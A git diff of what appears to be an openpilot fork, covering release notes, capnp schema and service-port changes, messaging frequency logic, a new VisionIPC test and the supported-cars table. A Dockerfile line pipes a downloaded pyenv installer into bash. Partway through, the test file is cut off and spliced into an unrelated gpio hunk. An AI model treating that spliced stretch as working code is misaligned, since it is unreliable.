diff --git a/.gitignore b/.gitignore index 60f937060..5648409e7 100644 --- a/.gitignore +++ b/.gitignore @@ -45,7 +45,9 @@ selfdrive/logcatd/logcatd selfdrive/mapd/default_speeds_by_region.json system/proclogd/proclogd selfdrive/ui/_ui +selfdrive/ui/translations/alerts_generated.h selfdrive/test/longitudinal_maneuvers/out +selfdrive/car/tests/cars_dump system/camerad/camerad system/camerad/test/ae_gray_test selfdrive/modeld/_modeld diff --git a/RELEASES.md b/RELEASES.md index 482e959d9..6b5751507 100644 --- a/RELEASES.md +++ b/RELEASES.md @@ -1,11 +1,30 @@ -Version 0.9.3 (2023-06-XX) +Version 0.9.4 (2023-XX-XX) +======================== +* Navigate on openpilot + * When navigation has a destination openpilot will input the map information into the model, generally improving behavior + * When navigating on openpilot, openpilot will keep left or right appropriately at forks/exits and take turns + * When navigating on openpilot, lane change behavior is unchanged and still activated by the driver +* UI updates + * Navigation settings moved to home screen and map +* UI alerts rework + * Border color always shows engagement status. Blue means disengaged, green means engaged, and grey means engaged with human overriding + * Alerts are shown inside the border. Black/grey means info, orange means warning, and red means critical alert +* Bookmarked segments are preserved on the device's storage +* Ford Focus 2018 support +* Kia Carnival 2023 support thanks to sunnyhaibin! + +Version 0.9.3 (2023-06-29) ======================== * New driving model + * Improved height estimation and added height tracking in liveCalibration + * Model inputs refactor * New driving personality setting * Three settings: aggressive, standard, and relaxed * Standard is recommended and the default - * In aggressive mode lead follow distance is shorter and quicker gas/brake response - * In relaxed mode lead follow distance is longer + * In aggressive mode, lead follow distance is shorter and acceleration response is quicker + * In relaxed mode, lead follow distance is longer +* Improved fuzzy fingerprinting for Hyundai, Kia, and Genesis +* Improved thermal management logic Version 0.9.2 (2023-05-22) ======================== diff --git a/cereal/Dockerfile b/cereal/Dockerfile index 49a84719a..8335bbcd3 100644 --- a/cereal/Dockerfile +++ b/cereal/Dockerfile @@ -23,6 +23,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ libzmq3-dev \ llvm \ make \ + cmake \ ocl-icd-opencl-dev \ opencl-headers \ python-openssl \ @@ -34,10 +35,10 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ RUN curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash ENV PATH="/root/.pyenv/bin:/root/.pyenv/shims:${PATH}" -RUN pyenv install 3.8.10 && \ - pyenv global 3.8.10 && \ +RUN pyenv install 3.11.4 && \ + pyenv global 3.11.4 && \ pyenv rehash && \ - pip3 install --no-cache-dir pyyaml==5.1.2 Cython==0.29.14 scons==3.1.1 pycapnp==1.0.0 pre-commit==2.15.0 pylint==2.5.2 parameterized==0.7.4 coverage==5.1 numpy==1.21.1 + pip3 install --no-cache-dir pyyaml Cython scons pycapnp==1.1.0 pre-commit pylint parameterized coverage numpy WORKDIR /project/ RUN cd /tmp/ && \ diff --git a/cereal/car.capnp b/cereal/car.capnp index 319e3b7b6..25f396ec9 100644 --- a/cereal/car.capnp +++ b/cereal/car.capnp @@ -166,7 +166,7 @@ struct CarState { # gas pedal, 0.0-1.0 gas @3 :Float32; # this is user pedal only gasPressed @4 :Bool; # this is user pedal only - + engineRpm @46 :Float32; # brake pedal, 0.0-1.0 @@ -628,6 +628,7 @@ struct CarParams { engine @4; unknown @5; transmission @8; # Transmission Control Module + hybrid @18; # hybrid control unit, e.g. Chrysler's HCP, Honda's IMA Control Unit, Toyota's hybrid control computer srs @9; # airbag gateway @10; # can gateway hud @11; # heads up display @@ -638,6 +639,9 @@ struct CarParams { cornerRadar @21; hvac @20; parkingAdas @7; # parking assist system ECU, e.g. Toyota's IPAS, Hyundai's RSPA, etc. + epb @22; # electronic parking brake + telematics @23; + body @24; # body control module # Toyota only dsu @6; @@ -646,11 +650,7 @@ struct CarParams { vsa @13; # Vehicle Stability Assist programmedFuelInjection @14; - # Chrysler only - hcp @18; # Hybrid Control Processor - debug @17; - unused @22; } enum FingerprintSource { diff --git a/cereal/custom.capnp b/cereal/custom.capnp index c8b7f2523..31d55afe5 100644 --- a/cereal/custom.capnp +++ b/cereal/custom.capnp @@ -31,10 +31,54 @@ struct LiveMapData @0x81c2f05a394cf4af { lastGpsBearingAccuracyDeg @19 :Float32; } -struct CustomReserved1 @0xaedffd8f31e7b55d { +struct LongitudinalPlanExt @0xaedffd8f31e7b55d { + visionTurnControllerState @0 :VisionTurnControllerState; + visionTurnSpeed @1 :Float32; + speedLimitControlState @2 :SpeedLimitControlState; + speedLimit @3 :Float32; + speedLimitOffset @4 :Float32; + distToSpeedLimit @5 :Float32; + isMapSpeedLimit @6 :Bool; + speedLimitPercOffset @7 :Bool; + speedLimitValueOffset @8 :Float32; + + distToTurn @9 :Float32; + turnSpeed @10 :Float32; + turnSpeedControlState @11 :SpeedLimitControlState; + turnSign @12 :Int16; + + dpE2EIsBlended @13 :Bool; + longitudinalPlanExtSource @14 :LongitudinalPlanExtSource; + + enum LongitudinalPlanExtSource { + cruise @0; + lead0 @1; + lead1 @2; + lead2 @3; + e2e @4; + turn @5; + limit @6; + turnlimit @7; + } + + enum SpeedLimitControlState { + inactive @0; # No speed limit set or not enabled by parameter. + tempInactive @1; # User wants to ignore speed limit until it changes. + adapting @2; # Reducing speed to match new speed limit. + active @3; # Cruising at speed limit. + } + + enum VisionTurnControllerState { + disabled @0; # No predicted substancial turn on vision range or feature disabled. + entering @1; # A subsantial turn is predicted ahead, adapting speed to turn confort levels. + turning @2; # Actively turning. Managing acceleration to provide a roll on turn feeling. + leaving @3; # Road ahead straightens. Start to allow positive acceleration. + } } -struct CustomReserved2 @0xf35cc4560bbf6ec2 { +struct LateralPlanExt @0xf35cc4560bbf6ec2 { + dPathWLinesX @0 :List(Float32); + dPathWLinesY @1 :List(Float32); } struct CustomReserved3 @0xda96579883444c35 { diff --git a/cereal/libcereal_shared.so b/cereal/libcereal_shared.so index 0c26b48cf..088abe0bd 100755 Binary files a/cereal/libcereal_shared.so and b/cereal/libcereal_shared.so differ diff --git a/cereal/log.capnp b/cereal/log.capnp index c44d8ed4d..33fec0fba 100644 --- a/cereal/log.capnp +++ b/cereal/log.capnp @@ -16,12 +16,12 @@ struct Map(Key, Value) { value @1 :Value; } } - + enum LongitudinalPersonality { - aggressive @0; - standard @1; - relaxed @2; - } + aggressive @0; + standard @1; + relaxed @2; +} struct InitData { kernelArgs @0 :List(Text); @@ -132,7 +132,6 @@ struct FrameData { frameIdSensor @25 :UInt32; frameType @7 :FrameType; - frameLength @3 :Int32; # Timestamps timestampEof @2 :UInt64; @@ -167,6 +166,7 @@ struct FrameData { ox03c10 @2; } + frameLengthDEPRECATED @3 :Int32; globalGainDEPRECATED @5 :Int32; androidCaptureResultDEPRECATED @9 :AndroidCaptureResult; lensPosDEPRECATED @11 :Int32; @@ -334,6 +334,7 @@ struct DeviceState @0xa4d8b5af2aa492eb { nvmeTempC @35 :List(Float32); modemTempC @36 :List(Float32); pmicTempC @39 :List(Float32); + maxTempC @44 :Float32; # max of other temps, used to control fan thermalZones @38 :List(ThermalZone); thermalStatus @14 :ThermalStatus; @@ -522,6 +523,10 @@ struct PandaState @0xa7649e2575e4591e { canfdEnabled @18 :Bool; brsEnabled @19 :Bool; canfdNonIso @20 :Bool; + irq0CallRate @21 :UInt32; + irq1CallRate @22 :UInt32; + irq2CallRate @23 :UInt32; + canCoreResetCnt @24 :UInt32; enum LecErrorCode { noError @0; @@ -859,10 +864,14 @@ struct ModelDataV2 { leadsV3 @18 :List(LeadDataV3); meta @12 :MetaData; + confidence @23: ConfidenceClass; # Model perceived motion temporalPose @21 :Pose; + navEnabled @22 :Bool; + locationMonoTime @24 :UInt64; + struct LeadDataV2 { prob @0 :Float32; # probability that car is your lead at time t @@ -907,6 +916,12 @@ struct ModelDataV2 { steerOverrideProbDEPRECATED @4 :Float32; } + enum ConfidenceClass { + red @0; + yellow @1; + green @2; + } + struct DisengagePredictions { t @0 :List(Float32); brakeDisengageProbs @1 :List(Float32); @@ -945,13 +960,17 @@ struct EncodeIndex { len @9 :UInt32; enum Type { - bigBoxLossless @0; # rcamera.mkv - fullHEVC @1; # fcamera.hevc - bigBoxHEVC @2; # bcamera.hevc - chffrAndroidH264 @3; # acamera - fullLosslessClip @4; # prcamera.mkv - front @5; # dcamera.hevc - qcameraH264 @6; # qcamera.ts + bigBoxLossless @0; + fullHEVC @1; + qcameraH264 @6; + livestreamH264 @7; + + # deprecated + bigBoxHEVCDEPRECATED @2; + chffrAndroidH264DEPRECATED @3; + fullLosslessClipDEPRECATED @4; + front @5; + } } @@ -1004,7 +1023,7 @@ struct LongitudinalPlan @0xe00b5b3eba12876c { aTargetMinDEPRECATED @4 :Float32; aTargetMaxDEPRECATED @5 :Float32; lateralValidDEPRECATED @0 :Bool; - longitudinalValid @2 :Bool; + longitudinalValidDEPRECATED @2 :Bool; dPolyDEPRECATED @1 :List(Float32); laneWidthDEPRECATED @11 :Float32; vCurvatureDEPRECATED @21 :Float32; @@ -1048,6 +1067,13 @@ struct LateralPlan @0xe1e9318e2ae8b51e { curvatureRates @28 :List(Float32); solverExecutionTime @30 :Float32; + solverCost @32 :Float32; + solverState @33 :SolverState; + + struct SolverState { + x @0 :List(List(Float32)); + u @1 :List(Float32); + } enum Desire { none @0; @@ -1221,6 +1247,8 @@ struct GnssMeasurements { svId @1 :UInt8; type @2 :EphemerisType; source @3 :EphemerisSource; + gpsWeek @4 : UInt16; + tow @5 :Float64; } struct CorrectedMeasurement { @@ -1794,6 +1822,9 @@ struct QcomGnss @0xde94674b07ae51c1 { elevationDot @20 :Float32; elevationUncertainty @21 :Float32; velocityCoeff @22 :List(Float64); + + gpsWeek @23 :UInt16; + gpsTow @24 :Float64; } } @@ -1943,6 +1974,7 @@ struct LiveParametersData { stiffnessFactorStd @12 :Float32; steerRatioStd @13 :Float32; roll @14 :Float32; + filterState @15 :LiveLocationKalman.Measurement; yawRateDEPRECATED @7 :Float32; } @@ -2088,6 +2120,7 @@ struct MapRenderState { struct NavModelData { frameId @0 :UInt32; + locationMonoTime @6 :UInt64; modelExecutionTime @1 :Float32; dspExecutionTime @2 :Float32; features @3 :List(Float32); @@ -2184,6 +2217,10 @@ struct Event { wideRoadEncodeIdx @77 :EncodeIndex; qRoadEncodeIdx @90 :EncodeIndex; + livestreamRoadEncodeIdx @117 :EncodeIndex; + livestreamWideRoadEncodeIdx @118 :EncodeIndex; + livestreamDriverEncodeIdx @119 :EncodeIndex; + # microphone data microphone @103 :Microphone; @@ -2214,10 +2251,14 @@ struct Event { wideRoadEncodeData @88 :EncodeData; qRoadEncodeData @89 :EncodeData; + livestreamRoadEncodeData @120 :EncodeData; + livestreamWideRoadEncodeData @121 :EncodeData; + livestreamDriverEncodeData @122 :EncodeData; + # *********** Custom: reserved for forks *********** liveMapData @107 :Custom.LiveMapData; - customReserved1 @108 :Custom.CustomReserved1; - customReserved2 @109 :Custom.CustomReserved2; + longitudinalPlanExt @108 :Custom.LongitudinalPlanExt; + lateralPlanExt @109 :Custom.LateralPlanExt; customReserved3 @110 :Custom.CustomReserved3; customReserved4 @111 :Custom.CustomReserved4; customReserved5 @112 :Custom.CustomReserved5; diff --git a/cereal/messaging/__init__.py b/cereal/messaging/__init__.py index bc1167f03..d92a2a171 100644 --- a/cereal/messaging/__init__.py +++ b/cereal/messaging/__init__.py @@ -1,10 +1,12 @@ -# must be build with scons +# must be built with scons from .messaging_pyx import Context, Poller, SubSocket, PubSocket, SocketEventHandle, toggle_fake_events, set_fake_prefix, get_fake_prefix, delete_fake_prefix, wait_for_one_event # pylint: disable=no-name-in-module, import-error from .messaging_pyx import MultiplePublishersError, MessagingError # pylint: disable=no-name-in-module, import-error + import os import capnp +import time -from typing import Optional, List, Union +from typing import Optional, List, Union, Dict, Deque from collections import deque from cereal import log @@ -20,13 +22,11 @@ assert wait_for_one_event NO_TRAVERSAL_LIMIT = 2**64-1 AVG_FREQ_HISTORY = 100 -SIMULATION = "SIMULATION" in os.environ # sec_since_boot is faster, but allow to run standalone too try: from common.realtime import sec_since_boot except ImportError: - import time sec_since_boot = time.time print("Warning, using python time.time() instead of faster sec_since_boot") @@ -166,7 +166,7 @@ class SubMaster: self.rcv_frame = {s: 0 for s in services} self.alive = {s: False for s in services} self.freq_ok = {s: False for s in services} - self.recv_dts = {s: deque([0.0] * AVG_FREQ_HISTORY, maxlen=AVG_FREQ_HISTORY) for s in services} + self.recv_dts: Dict[str, Deque[float]] = {s: deque(maxlen=AVG_FREQ_HISTORY) for s in services} self.sock = {} self.freq = {} self.data = {} @@ -179,6 +179,7 @@ class SubMaster: self.ignore_average_freq = [] if ignore_avg_freq is None else ignore_avg_freq self.ignore_alive = [] if ignore_alive is None else ignore_alive + self.simulation = bool(int(os.getenv("SIMULATION", "0"))) for s in services: if addr is not None: @@ -198,6 +199,10 @@ class SubMaster: def __getitem__(self, s: str) -> capnp.lib.capnp._DynamicStructReader: return self.data[s] + def _check_avg_freq(self, s): + return self.rcv_time[s] > 1e-5 and self.freq[s] > 1e-5 and (s not in self.non_polled_services) \ + and (s not in self.ignore_average_freq) + def update(self, timeout: int = 1000) -> None: msgs = [] for sock in self.poller.poll(timeout): @@ -218,8 +223,7 @@ class SubMaster: s = msg.which() self.updated[s] = True - if self.rcv_time[s] > 1e-5 and self.freq[s] > 1e-5 and (s not in self.non_polled_services) \ - and (s not in self.ignore_average_freq): + if self._check_avg_freq(s): self.recv_dts[s].append(cur_time - self.rcv_time[s]) self.rcv_time[s] = cur_time @@ -228,11 +232,11 @@ class SubMaster: self.logMonoTime[s] = msg.logMonoTime self.valid[s] = msg.valid - if SIMULATION: + if self.simulation: self.freq_ok[s] = True self.alive[s] = True - if not SIMULATION: + if not self.simulation: for s in self.data: # arbitrary small number to avoid float comparison. If freq is 0, we can skip the check if self.freq[s] > 1e-5: @@ -241,9 +245,15 @@ class SubMaster: # TODO: check if update frequency is high enough to not drop messages # freq_ok if average frequency is higher than 90% of expected frequency - avg_dt = sum(self.recv_dts[s]) / AVG_FREQ_HISTORY - expected_dt = 1 / (self.freq[s] * 0.90) - self.freq_ok[s] = (avg_dt < expected_dt) + if self._check_avg_freq(s): + if len(self.recv_dts[s]) > 0: + avg_dt = sum(self.recv_dts[s]) / len(self.recv_dts[s]) + expected_dt = 1 / (self.freq[s] * 0.90) + self.freq_ok[s] = (avg_dt < expected_dt) + else: + self.freq_ok[s] = False + else: + self.freq_ok[s] = True else: self.freq_ok[s] = True self.alive[s] = True @@ -282,5 +292,13 @@ class PubMaster: dat = dat.to_bytes() self.sock[s].send(dat) + def wait_for_readers_to_update(self, s: str, timeout: int) -> bool: + dt = 0.05 + for _ in range(int(timeout*(1./dt))): + if self.sock[s].all_readers_updated(): + return True + time.sleep(dt) + return False + def all_readers_updated(self, s: str) -> bool: return self.sock[s].all_readers_updated() # type: ignore diff --git a/cereal/messaging/bridge b/cereal/messaging/bridge index 26e9e14f5..cfd7c85ca 100755 Binary files a/cereal/messaging/bridge and b/cereal/messaging/bridge differ diff --git a/cereal/messaging/messaging_pyx.so b/cereal/messaging/messaging_pyx.so index ddb08ce4f..251fddefa 100755 Binary files a/cereal/messaging/messaging_pyx.so and b/cereal/messaging/messaging_pyx.so differ diff --git a/cereal/services.h b/cereal/services.h index 34f970bbc..8c91d8943 100644 --- a/cereal/services.h +++ b/cereal/services.h @@ -28,7 +28,7 @@ static struct service services[] = { { "carState", 8024, true, 100, 10 }, { "carControl", 8025, true, 100, 10 }, { "longitudinalPlan", 8026, true, 20, 5 }, - { "procLog", 8027, true, 0, -1 }, + { "procLog", 8027, true, 0, 15 }, { "gpsLocationExternal", 8028, true, 10, 10 }, { "gpsLocation", 8029, true, 1, 1 }, { "ubloxGnss", 8030, true, 10, -1 }, @@ -68,9 +68,17 @@ static struct service services[] = { { "driverEncodeData", 8064, false, 20, -1 }, { "wideRoadEncodeData", 8065, false, 20, -1 }, { "qRoadEncodeData", 8066, false, 20, -1 }, - { "driverState", 8067, true, 10, 5 }, - { "sensorEvents", 8068, true, 100, 100 }, - { "liveMapData", 8069, true, 0, -1 }, + { "livestreamWideRoadEncodeIdx", 8067, false, 20, -1 }, + { "livestreamRoadEncodeIdx", 8068, false, 20, -1 }, + { "livestreamDriverEncodeIdx", 8069, false, 20, -1 }, + { "livestreamWideRoadEncodeData", 8070, false, 20, -1 }, + { "livestreamRoadEncodeData", 8071, false, 20, -1 }, + { "livestreamDriverEncodeData", 8072, false, 20, -1 }, + { "driverState", 8073, true, 10, 5 }, + { "sensorEvents", 8074, true, 100, 100 }, + { "liveMapData", 8075, false, 0, -1 }, + { "longitudinalPlanExt", 8076, false, 20, 5 }, + { "lateralPlanExt", 8077, false, 20, 5 }, }; #endif diff --git a/cereal/services.py b/cereal/services.py index eb40d3de1..ac81f1131 100755 --- a/cereal/services.py +++ b/cereal/services.py @@ -49,7 +49,7 @@ services = { "carState": (True, 100., 10), "carControl": (True, 100., 10), "longitudinalPlan": (True, 20., 5), - "procLog": (True, 0.5), + "procLog": (True, 0.5, 15), "gpsLocationExternal": (True, 10., 10), "gpsLocation": (True, 1., 1), "ubloxGnss": (True, 10.), @@ -91,12 +91,20 @@ services = { "driverEncodeData": (False, 20.), "wideRoadEncodeData": (False, 20.), "qRoadEncodeData": (False, 20.), + "livestreamWideRoadEncodeIdx": (False, 20.), + "livestreamRoadEncodeIdx": (False, 20.), + "livestreamDriverEncodeIdx": (False, 20.), + "livestreamWideRoadEncodeData": (False, 20.), + "livestreamRoadEncodeData": (False, 20.), + "livestreamDriverEncodeData": (False, 20.), # legacy "driverState": (True, 10, 5), "sensorEvents": (True, 100., 100), # mapd - "liveMapData": (True, 0.), + "liveMapData": (False, 0.), + "longitudinalPlanExt": (False, 20., 5), + "lateralPlanExt": (False, 20., 5), } service_list = {name: Service(new_port(idx), *vals) for # type: ignore idx, (name, vals) in enumerate(services.items())} diff --git a/cereal/visionipc/__init__.py b/cereal/visionipc/__init__.py index 89915b8ef..c6460600c 100644 --- a/cereal/visionipc/__init__.py +++ b/cereal/visionipc/__init__.py @@ -1,4 +1,5 @@ -from cereal.visionipc.visionipc_pyx import VisionIpcClient, VisionIpcServer, VisionStreamType # pylint: disable=no-name-in-module, import-error +from cereal.visionipc.visionipc_pyx import VisionIpcClient, VisionIpcServer, VisionStreamType, get_endpoint_name # pylint: disable=no-name-in-module, import-error assert VisionIpcClient assert VisionIpcServer assert VisionStreamType +assert get_endpoint_name diff --git a/cereal/messaging/impl_msgq-008e0027.os.tmp b/cereal/visionipc/tests/__init__.py similarity index 100% rename from cereal/messaging/impl_msgq-008e0027.os.tmp rename to cereal/visionipc/tests/__init__.py diff --git a/cereal/visionipc/tests/test_visionipc.py b/cereal/visionipc/tests/test_visionipc.py new file mode 100755 index 000000000..42c49f8e7 --- /dev/null +++ b/cereal/visionipc/tests/test_visionipc.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python3 +import os +import time +import random +import unittest +import numpy as np +from cereal.visionipc import VisionIpcServer, VisionIpcClient, VisionStreamType + +def zmq_sleep(t=1): + if "ZMQ" in os.environ: + time.sleep(t) + + +class TestVisionIpc(unittest.TestCase): + + def setup_vipc(self, name, *stream_types, num_buffers=1, rgb=False, width=100, height=100, conflate=False): + self.server = VisionIpcServer(name) + for stream_type in stream_types: + self.server.create_buffers(stream_type, num_buffers, rgb, width, height) + self.server.start_listener() + + if len(stream_types): + self.client = VisionIpcClient(name, stream_types[0], conflate) + self.assertTrue(self.client.connect(True)) + else: + self.client = None + + zmq_sleep() + return self.server, self.client + + def test_connect(self): + self.setup_vipc("camerad", VisionStreamType.VISION_STREAM_ROAD) + self.assertTrue(self.client.is_connected) + + def test_available_streams(self): + for k in range(0, 4): + stream_types = set(random.choices([x.value for x in VisionStreamType], k=k)) + self.setup_vipc("camerad", *stream_types) + available_streams = VisionIpcClient.available_streams("camerad", True) + self.assertEqual(available_streams, stream_types) + + def test_buffers(self): + width, height, num_buffers = 100, 200, 5 + self.setup_vipc("camerad", VisionStreamType.VISION_STREAM_ROAD, num_buffers=num_buffers, width=width, height=height) + self.assertEqual(self.client.width, width) + self.assertEqual(self.client.height, height) + self.assertGreater(self.client.buffer_len, 0) + self.assertEqual(self.client.num_buffers, num_buffers) + + def test_yuv_rgb(self): + _, client_yuv = self.setup_vipc("camerad", VisionStreamType.VISION_STREAM_ROAD, rgb=False) + _, client_rgb = self.setup_vipc("navd", VisionStreamType.VISION_STREAM_MAP, rgb=True) + self.assertTrue(client_rgb.rgb) + self.assertFalse(client_yuv.rgb) + + def test_send_single_buffer(self): + self.setup_vipc("camerad", VisionStreamType.VISION_STREAM_ROAD) + + buf = np.zeros(self.client.buffer_len, dtype=np.uint8) + buf.view(' None: @@ -25,12 +25,20 @@ def gpio_read(pin: int) -> Optional[bool]: return val -def get_irq_for_action(action: str) -> List[int]: - ret = [] - for fn in glob.glob('/sys/kernel/irq/*/actions'): - with open(fn) as f: +@lru_cache(maxsize=None) +def get_irq_action(irq: int) -> List[str]: + try: + with open(f"/sys/kernel/irq/{irq}/actions") as f: actions = f.read().strip().split(',') - if action in actions: - irq = int(fn.split('/')[-2]) + return actions + except FileNotFoundError: + return [] + +def get_irqs_for_action(action: str) -> List[str]: + ret = [] + with open("/proc/interrupts") as f: + for l in f.readlines(): + irq = l.split(':')[0].strip() + if irq.isdigit() and action in get_irq_action(irq): ret.append(irq) return ret diff --git a/common/hybrid_modeldata.h b/common/hybrid_modeldata.h index d50c90022..45f927341 100644 --- a/common/hybrid_modeldata.h +++ b/common/hybrid_modeldata.h @@ -30,7 +30,7 @@ namespace tici_dm_crop { const int width = 954; }; -const mat3 fcam_intrinsic_matrix = +const mat3 FCAM_INTRINSIC_MATRIX = Hardware::EON() ? (mat3){{910., 0., 1164.0 / 2, 0., 910., 874.0 / 2, 0., 0., 1.}} @@ -40,7 +40,7 @@ const mat3 fcam_intrinsic_matrix = // tici ecam focal probably wrong? magnification is not consistent across frame // Need to retrain model before this can be changed -const mat3 ecam_intrinsic_matrix = (mat3){{567.0, 0.0, 1928.0 / 2, +const mat3 ECAM_INTRINSIC_MATRIX = (mat3){{567.0, 0.0, 1928.0 / 2, 0.0, 567.0, 1208.0 / 2, 0.0, 0.0, 1.0}}; diff --git a/common/modeldata.h b/common/modeldata.h index a00d3d49d..6dc02cc79 100644 --- a/common/modeldata.h +++ b/common/modeldata.h @@ -10,6 +10,9 @@ const int LON_MPC_N = 32; const float MIN_DRAW_DISTANCE = 10.0; const float MAX_DRAW_DISTANCE = 100.0; +const float RYG_GREEN = 0.01165; +const float RYG_YELLOW = 0.06157; + template constexpr std::array build_idxs(float max_val) { std::array result{}; @@ -24,23 +27,12 @@ constexpr auto T_IDXS_FLOAT = build_idxs(10.0); constexpr auto X_IDXS = build_idxs(192.0); constexpr auto X_IDXS_FLOAT = build_idxs(192.0); -const mat3 fcam_intrinsic_matrix = (mat3){{2648.0, 0.0, 1928.0 / 2, +const mat3 FCAM_INTRINSIC_MATRIX = (mat3){{2648.0, 0.0, 1928.0 / 2, 0.0, 2648.0, 1208.0 / 2, 0.0, 0.0, 1.0}}; // tici ecam focal probably wrong? magnification is not consistent across frame // Need to retrain model before this can be changed -const mat3 ecam_intrinsic_matrix = (mat3){{567.0, 0.0, 1928.0 / 2, +const mat3 ECAM_INTRINSIC_MATRIX = (mat3){{567.0, 0.0, 1928.0 / 2, 0.0, 567.0, 1208.0 / 2, 0.0, 0.0, 1.0}}; - -static inline mat3 get_model_yuv_transform() { - float db_s = 1.0; - const mat3 transform = (mat3){{ - 1.0, 0.0, 0.0, - 0.0, 1.0, 0.0, - 0.0, 0.0, 1.0 - }}; - // Can this be removed since scale is 1? - return transform_scale_buffer(transform, db_s); -} diff --git a/common/params_pyx.so b/common/params_pyx.so index 2625042be..c5f493964 100755 Binary files a/common/params_pyx.so and b/common/params_pyx.so differ diff --git a/common/swaglog.h b/common/swaglog.h index 68b05ed2e..25368501a 100644 --- a/common/swaglog.h +++ b/common/swaglog.h @@ -21,11 +21,11 @@ void cloudlog_te(int levelnum, const char* filename, int lineno, const char* fun #define cloudlog(lvl, fmt, ...) cloudlog_e(lvl, __FILE__, __LINE__, \ __func__, \ - fmt, ## __VA_ARGS__); - + fmt, ## __VA_ARGS__) + #define cloudlog_t(lvl, ...) cloudlog_te(lvl, __FILE__, __LINE__, \ __func__, \ - __VA_ARGS__); + __VA_ARGS__) #define cloudlog_rl(burst, millis, lvl, fmt, ...) \ diff --git a/common/time.py b/common/time.py new file mode 100644 index 000000000..b9da106fd --- /dev/null +++ b/common/time.py @@ -0,0 +1,6 @@ +import datetime + +MIN_DATE = datetime.datetime(year=2023, month=6, day=1) + +def system_time_valid(): + return datetime.datetime.now() > MIN_DATE \ No newline at end of file diff --git a/common/version.h b/common/version.h index 4fcf6c128..f30518b04 100644 --- a/common/version.h +++ b/common/version.h @@ -1 +1 @@ -#define COMMA_VERSION "2023.07.17" +#define COMMA_VERSION "2023.08.02" diff --git a/docs/CARS.md b/docs/CARS.md index 373851932..3afb9eda5 100644 --- a/docs/CARS.md +++ b/docs/CARS.md @@ -4,27 +4,27 @@ A supported vehicle is one that just works when you install a comma three. All supported cars provide a better experience than any stock system. Supported vehicles reference the US market unless otherwise specified. -# 252 Supported Cars +# 255 Supported Cars |Make|Model|Supported Package|ACC|No ACC accel below|No ALC below|Steering Torque|Resume from stop|Hardware Needed
 |Video| |---|---|---|:---:|:---:|:---:|:---:|:---:|:---:|:---:| -|Acura|ILX 2016-19|AcuraWatch Plus|openpilot|25 mph|25 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Acura|RDX 2016-18|AcuraWatch Plus|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Acura|ILX 2016-19|AcuraWatch Plus|openpilot|25 mph|25 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Acura|RDX 2016-18|AcuraWatch Plus|openpilot|25 mph|12 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 Honda Nidec connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Acura|RDX 2019-22|All|openpilot available[1](#footnotes)|0 mph|3 mph|[![star](assets/icon-star-empty.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Honda Bosch A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|A3 2014-19|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|A3 Sportback e-tron 2017-18|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|Q2 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|Q3 2019-23|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|RS3 2018|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Audi|S3 2015-17|Adaptive Cruise Control (ACC) & Lane Assist|openpilot available[1,10](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 J533 connector
- 1 USB-C coupler
- 1 comma three
- 1 harness box
- 1 long OBD-C cable
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
